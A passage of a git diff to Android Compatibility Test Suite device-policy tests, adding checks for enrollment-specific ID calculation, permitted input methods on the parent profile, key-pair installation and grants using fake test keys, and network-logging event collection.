+        super.setUp();
+        mUiAutomation = getInstrumentation().getUiAutomation();
+    }
+
+    public void testThrowsForEmptyOrganizationId() {
+        assertThrows(IllegalArgumentException.class,
+                () -> mDevicePolicyManager.setOrganizationId(""));
+    }
+
+    public void testThrowsWhenTryingToReSetOrganizationId() {
+        mUiAutomation.adoptShellPermissionIdentity(PERMISSIONS_TO_ADOPT);
+
+        mDevicePolicyManager.setOrganizationId("abc");
+        final String firstEsid = mDevicePolicyManager.getEnrollmentSpecificId();
+        assertThat(firstEsid).isNotEmpty();
+
+        assertThrows(IllegalStateException.class,
+                () -> mDevicePolicyManager.setOrganizationId("xyz"));
+    }
+
+    /**
+     * This test tests that the platform calculates the ESID according to the specification and
+     * does not, for example, return the same ESID regardless of the managing package.
+     */
+    public void testCorrectCalculationOfEsid() {
+        mUiAutomation.adoptShellPermissionIdentity(PERMISSIONS_TO_ADOPT);
+        mDevicePolicyManager.setOrganizationId(ORGANIZATION_ID);
+        final String esidFromDpm = mDevicePolicyManager.getEnrollmentSpecificId();
+        final String calculatedEsid = calculateEsid(ADMIN_RECEIVER_COMPONENT.getPackageName(),
+                ORGANIZATION_ID);
+        assertThat(esidFromDpm).isEqualTo(calculatedEsid);
+    }
+
+    private String calculateEsid(String profileOwnerPackage, String enterpriseIdString) {
+        TelephonyManager telephonyService = mContext.getSystemService(TelephonyManager.class);
+        assertThat(telephonyService).isNotNull();
+
+        WifiManager wifiManager = mContext.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
+
+        final byte[] serialNumber = getPaddedHardwareIdentifier(Build.getSerial()).getBytes();
+        final byte[] imei = getPaddedHardwareIdentifier(telephonyService.getImei(0)).getBytes();
+        final byte[] meid = getPaddedHardwareIdentifier(telephonyService.getMeid(0)).getBytes();
+
+        final byte[] macAddress;
+        final String[] macAddresses = wifiManager.getFactoryMacAddresses();
+        if (macAddresses == null || macAddresses.length == 0) {
+            macAddress = "".getBytes();
+        } else {
+            macAddress = macAddresses[0].getBytes();
+        }
+
+        final int totalIdentifiersLength = serialNumber.length + imei.length + meid.length
+                + macAddress.length;
+        final ByteBuffer fixedIdentifiers = ByteBuffer.allocate(totalIdentifiersLength);
+        fixedIdentifiers.put(serialNumber);
+        fixedIdentifiers.put(imei);
+        fixedIdentifiers.put(meid);
+        fixedIdentifiers.put(macAddress);
+
+        final byte[] dpcPackage = getPaddedProfileOwnerName(profileOwnerPackage).getBytes();
+        final byte[] enterpriseId = getPaddedEnterpriseId(enterpriseIdString).getBytes();
+        final ByteBuffer info = ByteBuffer.allocate(dpcPackage.length + enterpriseId.length);
+        info.put(dpcPackage);
+        info.put(enterpriseId);
+        final byte[] esidBytes = computeHkdf("HMACSHA256", fixedIdentifiers.array(), null,
+                info.array(), 16);
+        ByteBuffer esidByteBuffer = ByteBuffer.wrap(esidBytes);
+
+        return encodeBase32(esidByteBuffer.getLong()) + encodeBase32(esidByteBuffer.getLong());
+    }
+
+    private static String getPaddedHardwareIdentifier(String hardwareIdentifier) {
+        if (hardwareIdentifier == null) {
+            hardwareIdentifier = "";
+        }
+        return String.format("%16s", hardwareIdentifier);
+    }
+
+    private static String getPaddedProfileOwnerName(String profileOwnerPackage) {
+        return String.format("%64s", profileOwnerPackage);
+    }
+
+    private static String getPaddedEnterpriseId(String enterpriseId) {
+        return String.format("%64s", enterpriseId);
+    }
+
+    // Copied from android.security.identity.Util, here to make sure Enterprise-Specific ID is
+    // calculated according to spec.
+    @NonNull
+    private static byte[] computeHkdf(
+            @NonNull String macAlgorithm, @NonNull final byte[] ikm, @NonNull final byte[] salt,
+            @NonNull final byte[] info, int size) {
+        Mac mac = null;
+        try {
+            mac = Mac.getInstance(macAlgorithm);
+        } catch (NoSuchAlgorithmException e) {
+            throw new RuntimeException("No such algorithm: " + macAlgorithm, e);
+        }
+        if (size > 255 * mac.getMacLength()) {
+            throw new RuntimeException("size too large");
+        }
+        try {
+            if (salt == null || salt.length == 0) {
+                // According to RFC 5869, Section 2.2 the salt is optional. If no salt is provided
+                // then HKDF uses a salt that is an array of zeros of the same length as the hash
+                // digest.
+                mac.init(new SecretKeySpec(new byte[mac.getMacLength()], macAlgorithm));
+            } else {
+                mac.init(new SecretKeySpec(salt, macAlgorithm));
+            }
+            byte[] prk = mac.doFinal(ikm);
+            byte[] result = new byte[size];
+            int ctr = 1;
+            int pos = 0;
+            mac.init(new SecretKeySpec(prk, macAlgorithm));
+            byte[] digest = new byte[0];
+            while (true) {
+                mac.update(digest);
+                mac.update(info);
+                mac.update((byte) ctr);
+                digest = mac.doFinal();
+                if (pos + digest.length < size) {
+                    System.arraycopy(digest, 0, result, pos, digest.length);
+                    pos += digest.length;
+                    ctr++;
+                } else {
+                    System.arraycopy(digest, 0, result, pos, size - pos);
+                    break;
+                }
+            }
+            return result;
+        } catch (InvalidKeyException e) {
+            throw new RuntimeException("Error MACing", e);
+        }
+    }
+
+    private static final char[] ENCODE = {
+            'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+            'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+            'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+            'Y', 'Z', '2', '3', '4', '5', '6', '7',
+    };
+
+    private static final char SEPARATOR = '-';
+    private static final int LONG_SIZE = 13;
+    private static final int GROUP_SIZE = 4;
+
+    private static String encodeBase32(long input) {
+        final char[] alphabet = ENCODE;
+
+        /*
+         * Make a character array with room for the separators between each
+         * group.
+         */
+        final char[] encoded = new char[LONG_SIZE + (LONG_SIZE / GROUP_SIZE)];
+
+        int index = encoded.length;
+        for (int i = 0; i < LONG_SIZE; i++) {
+            /*
+             * Make sure we don't put a separator at the beginning. Since we're
+             * building from the rear of the array, we use (LONG_SIZE %
+             * GROUP_SIZE) to make the odd-size group appear at the end instead
+             * of the beginning.
+             */
+            if (i > 0 && (i % GROUP_SIZE) == (LONG_SIZE % GROUP_SIZE)) {
+                encoded[--index] = SEPARATOR;
+            }
+
+            /*
+             * Extract 5 bits of data, then shift it out.
+             */
+            final int group = (int) (input & 0x1F);
+            input >>>= 5;
+
+            encoded[--index] = alphabet[group];
+        }
+
+        return String.valueOf(encoded);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/InputMethodsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/InputMethodsTest.java
index ed5047c..b2f0d8f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/InputMethodsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/InputMethodsTest.java
@@ -18,6 +18,9 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 
 import java.util.ArrayList;
@@ -46,6 +49,31 @@
                 .containsExactlyElementsIn(packages);
     }
 
+    public void testPermittedInputMethodsOnParent() {
+        DevicePolicyManager parentDevicePolicyManager =
+                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        // All input methods are allowed.
+        parentDevicePolicyManager.setPermittedInputMethods(ADMIN_RECEIVER_COMPONENT, null);
+        assertThat(parentDevicePolicyManager.getPermittedInputMethods(
+                ADMIN_RECEIVER_COMPONENT)).isNull();
+
+        // Only system input methods are allowed.
+        parentDevicePolicyManager.setPermittedInputMethods(ADMIN_RECEIVER_COMPONENT,
+                new ArrayList<>());
+        assertThat(parentDevicePolicyManager.getPermittedInputMethods(
+                ADMIN_RECEIVER_COMPONENT)).isEmpty();
+    }
+
+    public void testPermittedInputMethodsOnParentThrowsIfPackageListIsNotEmptyOrNull() {
+        DevicePolicyManager parentDevicePolicyManager =
+                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        final List<String> packages = Arrays.asList("com.google.pkg.one", "com.google.pkg.two");
+
+        assertThrows(IllegalArgumentException.class,
+                () -> parentDevicePolicyManager
+                        .setPermittedInputMethods(ADMIN_RECEIVER_COMPONENT, packages));
+    }
+
     public void testPermittedInputMethodsThrowsIfWrongAdmin() {
         try {
             mDevicePolicyManager.setPermittedInputMethods(badAdmin, null);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
index 2f7444d..0b47c89 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
@@ -21,9 +21,14 @@
 import static android.app.admin.DevicePolicyManager.ID_TYPE_MEID;
 import static android.app.admin.DevicePolicyManager.ID_TYPE_SERIAL;
 import static android.keystore.cts.CertificateUtils.createCertificate;
+
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.testng.Assert.assertThrows;
+
+import static java.util.Collections.singleton;
+
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -41,7 +46,11 @@
 import android.security.keystore.StrongBoxUnavailableException;
 import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
+
 import com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
+
+import com.google.common.collect.Sets;
+
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
@@ -67,11 +76,21 @@
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+
 import javax.security.auth.x500.X500Principal;
 
 public class KeyManagementTest extends BaseDeviceAdminTest {
     private static final long KEYCHAIN_TIMEOUT_MINS = 6;
 
+    private static final String TEST_ALIAS = "KeyManagementTest-keypair";
+    private static final String NON_EXISTENT_ALIAS = "KeyManagementTest-nonexistent";
+
+    private static final String SHARED_UID_APP1_PKG = "com.android.cts.testapps.shareduidapp1";
+    private static final String SHARED_UID_APP2_PKG = "com.android.cts.testapps.shareduidapp2";
+
+    private PrivateKey mFakePrivKey;
+    private Certificate mFakeCert;
+
     private static class SupportedKeyAlgorithm {
         public final String keyAlgorithm;
         public final String signatureAlgorithm;
@@ -98,6 +117,10 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
+
+        mFakePrivKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
+        mFakeCert = getCertificate(FAKE_RSA_1.caCertificate);
+
         final UiDevice device = UiDevice.getInstance(getInstrumentation());
         mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
                 KeyManagementActivity.class, null);
@@ -107,16 +130,16 @@
     @Override
     public void tearDown() throws Exception {
         mActivity.finish();
+        mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
         super.tearDown();
     }
 
     public void testCanInstallAndRemoveValidRsaKeypair() throws Exception {
         final String alias = "com.android.test.valid-rsa-key-1";
-        final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
-        final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
 
         // Install keypair.
-        assertThat(mDevicePolicyManager.installKeyPair(getWho(), privKey, cert, alias)).isTrue();
+        assertThat(mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, mFakeCert, alias))
+                .isTrue();
         try {
             // Request and retrieve using the alias.
             assertGranted(alias, false);
@@ -136,17 +159,15 @@
     public void testCanInstallWithAutomaticAccess() throws Exception {
         final String grant = "com.android.test.autogrant-key-1";
         final String withhold = "com.android.test.nongrant-key-1";
-        final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
-        final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
 
         // Install keypairs.
         assertThat(
                 mDevicePolicyManager.installKeyPair(
-                        getWho(), privKey, new Certificate[] {cert}, grant, true))
+                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, grant, true))
                 .isTrue();
         assertThat(
                 mDevicePolicyManager.installKeyPair(
-                        getWho(), privKey, new Certificate[] {cert}, withhold, false))
+                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, withhold, false))
                 .isTrue();
         try {
             // Verify only the requested key was actually granted.
@@ -205,13 +226,11 @@
 
     public void testGrantsDoNotPersistBetweenInstallations() throws Exception {
         final String alias = "com.android.test.persistent-key-1";
-        final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
-        final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
 
         // Install keypair.
         assertThat(
                 mDevicePolicyManager.installKeyPair(
-                        getWho(), privKey, new Certificate[] {cert}, alias, true))
+                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, alias, true))
                 .isTrue();
         try {
             assertGranted(alias, true);
@@ -224,7 +243,7 @@
         // Install again.
         assertThat(
                 mDevicePolicyManager.installKeyPair(
-                        getWho(), privKey, new Certificate[] {cert}, alias, false))
+                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, alias, false))
                 .isTrue();
         try {
             assertGranted(alias, false);
@@ -236,15 +255,13 @@
 
     public void testNullKeyParamsFailPredictably() throws Exception {
         final String alias = "com.android.test.null-key-1";
-        final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
-        final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
         try {
-            mDevicePolicyManager.installKeyPair(getWho(), null, cert, alias);
+            mDevicePolicyManager.installKeyPair(getWho(), null, mFakeCert, alias);
             fail("Exception should have been thrown for null PrivateKey");
         } catch (NullPointerException expected) {
         }
         try {
-            mDevicePolicyManager.installKeyPair(getWho(), privKey, null, alias);
+            mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, null, alias);
             fail("Exception should have been thrown for null Certificate");
         } catch (NullPointerException expected) {
         }
@@ -252,10 +269,8 @@
 
     public void testNullAdminComponentIsDenied() throws Exception {
         final String alias = "com.android.test.null-admin-1";
-        final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
-        final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
         try {
-            mDevicePolicyManager.installKeyPair(null, privKey, cert, alias);
+            mDevicePolicyManager.installKeyPair(null, mFakePrivKey, mFakeCert, alias);
             fail("Exception should have been thrown for null ComponentName");
         } catch (SecurityException expected) {
         }
@@ -263,13 +278,11 @@
 
     public void testNotUserSelectableAliasCanBeChosenViaPolicy() throws Exception {
         final String alias = "com.android.test.not-selectable-key-1";
-        final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
-        final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
 
         // Install keypair.
         assertThat(
                 mDevicePolicyManager.installKeyPair(
-                        getWho(), privKey, new Certificate[] {cert}, alias, 0))
+                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, alias, 0))
                 .isTrue();
         try {
             // Request and retrieve using the alias.
@@ -379,7 +392,7 @@
         Attestation attestationRecord = Attestation.loadFromCertificate((X509Certificate) leaf);
         AuthorizationList teeAttestation = attestationRecord.getTeeEnforced();
         assertThat(teeAttestation).isNotNull();
-        validateBrandAttestationRecord(teeAttestation);
+        assertThat(teeAttestation.getBrand()).isEqualTo(Build.BRAND);
         assertThat(teeAttestation.getDevice()).isEqualTo(Build.DEVICE);
         assertThat(teeAttestation.getProduct()).isEqualTo(Build.PRODUCT);
         assertThat(teeAttestation.getManufacturer()).isEqualTo(Build.MANUFACTURER);
@@ -389,14 +402,6 @@
         assertThat(teeAttestation.getMeid()).isEqualTo(expectedMeid);
     }
 
-    private void validateBrandAttestationRecord(AuthorizationList teeAttestation) {
-        if (!Build.MODEL.equals("Pixel 2")) {
-            assertThat(teeAttestation.getBrand()).isEqualTo(Build.BRAND);
-        } else {
-            assertThat(teeAttestation.getBrand()).isAnyOf(Build.BRAND, "htc");
-        }
-    }
-
     private void validateAttestationRecord(List<Certificate> attestation, byte[] providedChallenge)
             throws CertificateParsingException {
         assertThat(attestation).isNotNull();
@@ -751,7 +756,7 @@
     }
 
 
-        public void testCanSetKeyPairCert() throws Exception {
+    public void testCanSetKeyPairCert() throws Exception {
         final String alias = "com.android.test.set-ec-1";
         try {
             KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(
@@ -809,6 +814,85 @@
         }
     }
 
+    public void testHasKeyPair_NonExistent() {
+        assertThat(mDevicePolicyManager.hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
+    }
+
+    public void testHasKeyPair_Installed() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+
+        try {
+            assertThat(mDevicePolicyManager.hasKeyPair(TEST_ALIAS)).isTrue();
+        } finally {
+            mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
+        }
+    }
+
+    public void testHasKeyPair_Removed() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+        mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
+
+        assertThat(mDevicePolicyManager.hasKeyPair(TEST_ALIAS)).isFalse();
+    }
+
+    public void testGetKeyPairGrants_NonExistent() {
+        assertThrows(IllegalArgumentException.class,
+                () -> mDevicePolicyManager.getKeyPairGrants(NON_EXISTENT_ALIAS));
+    }
+
+    public void testGetKeyPairGrants_NotGranted() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ false);
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+    }
+
+    public void testGetKeyPairGrants_GrantedAtInstall() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+                .isEqualTo(singleton(singleton(getWho().getPackageName())));
+    }
+
+    public void testGetKeyPairGrants_GrantedExplicitly() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ false);
+        mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, getWho().getPackageName());
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+                .isEqualTo(singleton(singleton(getWho().getPackageName())));
+    }
+
+    public void testGetKeyPairGrants_Revoked() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+        mDevicePolicyManager.revokeKeyPairFromApp(getWho(), TEST_ALIAS, getWho().getPackageName());
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+    }
+
+    public void testGetKeyPairGrants_SharedUid() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ false);
+        mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, SHARED_UID_APP1_PKG);
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+                .isEqualTo(singleton(Sets.newHashSet(SHARED_UID_APP1_PKG, SHARED_UID_APP2_PKG)));
+    }
+
+    public void testGetKeyPairGrants_DifferentUids() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+        mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, SHARED_UID_APP1_PKG);
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEqualTo(Sets.newHashSet(
+                Sets.newHashSet(SHARED_UID_APP1_PKG, SHARED_UID_APP2_PKG),
+                singleton(getWho().getPackageName())));
+    }
+
     private void assertGranted(String alias, boolean expected)
             throws InterruptedException, KeyChainException {
         boolean granted = (KeyChain.getPrivateKey(mActivity, alias) != null);
@@ -884,7 +968,7 @@
         }
     }
 
-    protected ComponentName getWho() {
+    private ComponentName getWho() {
         return ADMIN_RECEIVER_COMPONENT;
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
index e6abac7..1552beb 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -271,6 +271,7 @@
                 LockTaskUtilityActivity.waitUntilActivityResumed(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
         if (!lockedActivityIsResumed) {
             launchLockTaskUtilityActivityWithoutStartingLockTask();
+            waitAndCheckLockedActivityIsResumed();
         }
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkLoggingTest.java
new file mode 100644
index 0000000..495b63f
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkLoggingTest.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.BasicAdminReceiver.ACTION_NETWORK_LOGS_AVAILABLE;
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.BasicAdminReceiver.EXTRA_NETWORK_LOGS_BATCH_TOKEN;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.fail;
+
+import android.app.admin.ConnectEvent;
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.DnsEvent;
+import android.app.admin.NetworkEvent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.common.truth.Truth;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class NetworkLoggingTest {
+
+    private static final String TAG = "NetworkLoggingTest";
+    private static final String CTS_APP_PACKAGE_NAME = "com.android.cts.deviceandprofileowner";
+    private static final int FAKE_BATCH_TOKEN = -666;
+    private static final String DELEGATE_APP_PKG = "com.android.cts.delegate";
+    private static final String DELEGATION_NETWORK_LOGGING = "delegation-network-logging";
+
+    // Should not be added to the list of network events.
+    private static final String[] NOT_LOGGED_URLS_LIST = {
+            "wikipedia.org",
+            "wikipedia.com",
+            "google.pl",
+    };
+
+    // Should be added to the list of network events.
+    private static final String[] LOGGED_URLS_LIST = {
+            "example.com",
+            "example.net",
+            "example.org",
+            "example.edu",
+            "ipv6.google.com",
+            "google.co.jp",
+            "google.fr",
+            "google.com.br",
+            "google.com.tr",
+            "google.co.uk",
+            "google.de"
+    };
+
+    private final ArrayList<NetworkEvent> mNetworkEvents = new ArrayList<>();
+    private final NetworkLogsReceiver mReceiver = new NetworkLogsReceiver();
+    private Context mContext;
+    private DevicePolicyManager mDpm;
+    private UiDevice mDevice;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getContext();
+        mDpm = mContext.getSystemService(DevicePolicyManager.class);
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+    }
+
+    @Test
+    public void testSetNetworkLogsEnabled_true() {
+        mDpm.setNetworkLoggingEnabled(ADMIN_RECEIVER_COMPONENT, true);
+
+        assertThat(mDpm.isNetworkLoggingEnabled(ADMIN_RECEIVER_COMPONENT)).isTrue();
+    }
+
+    @Test
+    public void testConnectToWebsites_shouldBeLogged() {
+        for (final String url : LOGGED_URLS_LIST) {
+            connectToWebsite(url);
+        }
+    }
+
+    @Test
+    public void testConnectToWebsites_shouldNotBeLogged() {
+        for (final String url : NOT_LOGGED_URLS_LIST) {
+            connectToWebsite(url);
+        }
+    }
+
+    @Test
+    public void testRetrieveNetworkLogs_forceNetworkLogs_receiveNetworkLogs() throws Exception {
+        mContext.registerReceiver(mReceiver, new IntentFilter(ACTION_NETWORK_LOGS_AVAILABLE));
+        mDevice.executeShellCommand("dpm force-network-logs");
+        mReceiver.waitForBroadcast();
+
+        verifyNetworkLogs(mNetworkEvents);
+
+        mContext.unregisterReceiver(mReceiver);
+    }
+
+    private void verifyNetworkLogs(List<NetworkEvent> networkEvents) {
+        int receivedEventsFromLoggedUrlsList = 0;
+
+        for (final NetworkEvent currentEvent : networkEvents) {
+            if (CTS_APP_PACKAGE_NAME.equals(currentEvent.getPackageName())) {
+                if (currentEvent instanceof DnsEvent) {
+                    final DnsEvent dnsEvent = (DnsEvent) currentEvent;
+                    if (Arrays.asList(LOGGED_URLS_LIST).contains(dnsEvent.getHostname())) {
+                        receivedEventsFromLoggedUrlsList++;
+                    // Verify all hostnames looked-up from the personal profile were not logged.
+                    } else {
+                        Truth.assertWithMessage("A hostname that was looked-up from "
+                                + "the personal profile was logged.")
+                                .that(Arrays.asList(NOT_LOGGED_URLS_LIST))
+                                .doesNotContain(dnsEvent.getHostname());
+                    }
+
+                } else if (currentEvent instanceof ConnectEvent) {
+                    final ConnectEvent connectEvent = (ConnectEvent) currentEvent;
+                    final InetAddress ip = connectEvent.getInetAddress();
+                    assertThat(isIpv4OrIpv6Address(ip)).isTrue();
+
+                } else {
+                    fail("An unknown NetworkEvent type logged: "
+                            + currentEvent.getClass().getName());
+                }
+            }
+        }
+        assertThat(receivedEventsFromLoggedUrlsList).isEqualTo(LOGGED_URLS_LIST.length);
+    }
+
+    private boolean isIpv4OrIpv6Address(InetAddress addr) {
+        return ((addr instanceof Inet4Address) || (addr instanceof Inet6Address));
+    }
+
+    @Test
+    public void testSetNetworkLogsEnabled_false() {
+        mDpm.setNetworkLoggingEnabled(ADMIN_RECEIVER_COMPONENT, false);
+
+        assertThat(mDpm.isNetworkLoggingEnabled(ADMIN_RECEIVER_COMPONENT)).isFalse();
+    }
+
+    @Test
+    public void testSetDelegateScope_delegationNetworkLogging() {
+        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG,
+                Arrays.asList(DELEGATION_NETWORK_LOGGING));
+
+        assertThat(mDpm.getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG))
+                .contains(DELEGATION_NETWORK_LOGGING);
+    }
+
+    @Test
+    public void testSetDelegateScope_noDelegation() {
+        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG,
+                Arrays.asList());
+
+        assertThat(mDpm.getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG))
+                .doesNotContain(DELEGATION_NETWORK_LOGGING);
+    }
+
+    private void connectToWebsite(String server) {
+        HttpURLConnection urlConnection = null;
+        try {
+            final URL url = new URL("https://" + server);
+            urlConnection = (HttpURLConnection) url.openConnection();
+            urlConnection.setConnectTimeout(2000);
+            urlConnection.setReadTimeout(2000);
+            urlConnection.getResponseCode();
+        } catch (IOException e) {
+            Log.w(TAG, "Failed to connect to " + server, e);
+        } finally {
+            if (urlConnection != null) {
+                urlConnection.disconnect();
+            }
+        }
+    }
+
+    private class NetworkLogsReceiver extends BroadcastReceiver {
+
+        private final CountDownLatch mBatchCountDown = new CountDownLatch(1);
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (ACTION_NETWORK_LOGS_AVAILABLE.equals(intent.getAction())) {
+                final long token =
+                        intent.getLongExtra(EXTRA_NETWORK_LOGS_BATCH_TOKEN, FAKE_BATCH_TOKEN);
+                final List<NetworkEvent> events =
+                        mDpm.retrieveNetworkLogs(ADMIN_RECEIVER_COMPONENT, token);
+                if (events == null) {
+                    fail("Failed to retrieve batch of network logs with batch token " + token);
+                } else {
+                    mNetworkEvents.addAll(events);
+                    mBatchCountDown.countDown();
+                }
+            }
+        }
+
+        private void waitForBroadcast() throws InterruptedException {
+            mReceiver.mBatchCountDown.await(3, TimeUnit.MINUTES);
